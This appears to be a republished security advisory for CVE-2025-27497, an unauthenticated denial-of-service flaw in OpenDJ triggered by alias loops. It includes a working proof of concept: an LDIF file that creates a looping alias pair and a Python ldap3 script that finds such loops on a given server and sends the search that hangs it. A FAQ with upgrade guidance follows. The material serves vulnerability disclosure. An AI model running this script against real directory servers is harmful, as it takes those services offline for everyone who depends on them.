Summary
OpenDJ Denial of Service (DoS) using alias loop
A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests.
I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.
Details
An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.
PoC (Steps to Reproduce)
- Set up an OpenDJ server instance as usual, using the base DN
dc=example,dc=com - Import the attached
example_data_alias_dos.ldiffile into the LDAP database - Ensure that the
ldap3Python library is installed (pip install ldap3) - Run the attached Python script
python opendj_alias_dos.py, which searches for alias loops and executes the DoS attack - After executing the script, the server will stop responding to requests until it is restarted
Impact
This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:
result: 80 Other (e.g., implementation specific) error
text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.
example_data_alias_dos.ldif
dn: dc=example,dc=com
objectClass: top
objectClass: domain
dc: example
dn: ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: people
description: All users
dn: ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: students
description: All students
dn: uid=jd123,ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
mail: [email protected]
sn: Doe
cn: John Doe
givenName: John
uid: jd123
dn: ou=employees,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: employees
description: All employees
dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
uid: jd123
dn: ou=researchers,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: researchers
description: All reasearchers
dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com
uid: jd123
opendj_alias_dos.py
import argparse
from ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS
from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError
def connect_to_ldap(ip, port):
try:
server = Server(ip, port, get_info=ALL)
connection = Connection(server, auto_bind=True)
return connection
except (LDAPBindError, LDAPSocketOpenError) as e:
print(f"Error connecting to LDAP server: {e}")
return None
def find_aliases(connection, base_dn):
try:
search_filter = "(objectClass=alias)"
connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=["*"])
except Exception as e:
print(f"Error during search: {e}")
aliases = {}
for entry in connection.entries:
entry_dn = entry.entry_dn
entry_alias = entry.aliasedObjectName.value
aliases[entry_dn] = entry_alias
return aliases
def detect_alias_loop(aliases):
visited = set()
path = set()
def dfs(alias):
if alias in path:
return alias
if alias in visited:
return None
path.add(alias)
visited.add(alias)
aliased_target = aliases.get(alias)
if aliased_target:
result = dfs(aliased_target)
if result:
return result
path.remove(alias)
return None
for alias in aliases:
if alias not in visited:
loop_alias = dfs(alias)
if loop_alias:
return loop_alias
return None
def execute_dos_search(connection, looping_alias_dn):
try:
search_filter = "(objectClass=*)"
connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)
except Exception as e:
print(f"Error during search: {e}")
for entry in connection.entries:
entry_dn = entry.entry_dn
print(entry_dn)
def main():
parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.")
parser.add_argument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.")
parser.add_argument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.")
parser.add_argument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.")
args = parser.parse_args()
if not args.ip:
args.ip = input("Please enter the IP address of the LDAP server: ")
if not args.port:
while True:
try:
port_input = input("Please enter the port of the LDAP server: ")
args.port = int(port_input)
break
except ValueError:
print("Invalid input. Please enter a valid integer for the port.")
if not args.base:
args.base = input("Please enter the base DN of the LDAP server: ")
connection = connect_to_ldap(args.ip, args.port)
if connection:
aliases = find_aliases(connection, args.base)
looping_alias_dn = detect_alias_loop(aliases)
if looping_alias_dn:
execute_dos_search(connection, looping_alias_dn)
print(f"DOS executed with alias: {looping_alias_dn}")
else:
print("No looping alias DN found!")
connection.unbind()
if __name__ == "__main__":
main()
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
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Frequently Asked Questions
- What is CVE-2025-27497? CVE-2025-27497 is a high-severity security vulnerability in org.openidentityplatform.opendj:opendj-server-legacy (maven), affecting versions < 4.9.3. It is fixed in 4.9.3.
- Which versions of org.openidentityplatform.opendj:opendj-server-legacy are affected by CVE-2025-27497? org.openidentityplatform.opendj:opendj-server-legacy (maven) versions < 4.9.3 is affected.
- Is there a fix for CVE-2025-27497? Yes. CVE-2025-27497 is fixed in 4.9.3. Upgrade to this version or later.
- Is CVE-2025-27497 exploitable, and should I be worried? Whether CVE-2025-27497 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-27497 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-27497? Upgrade
org.openidentityplatform.opendj:opendj-server-legacyto 4.9.3 or later.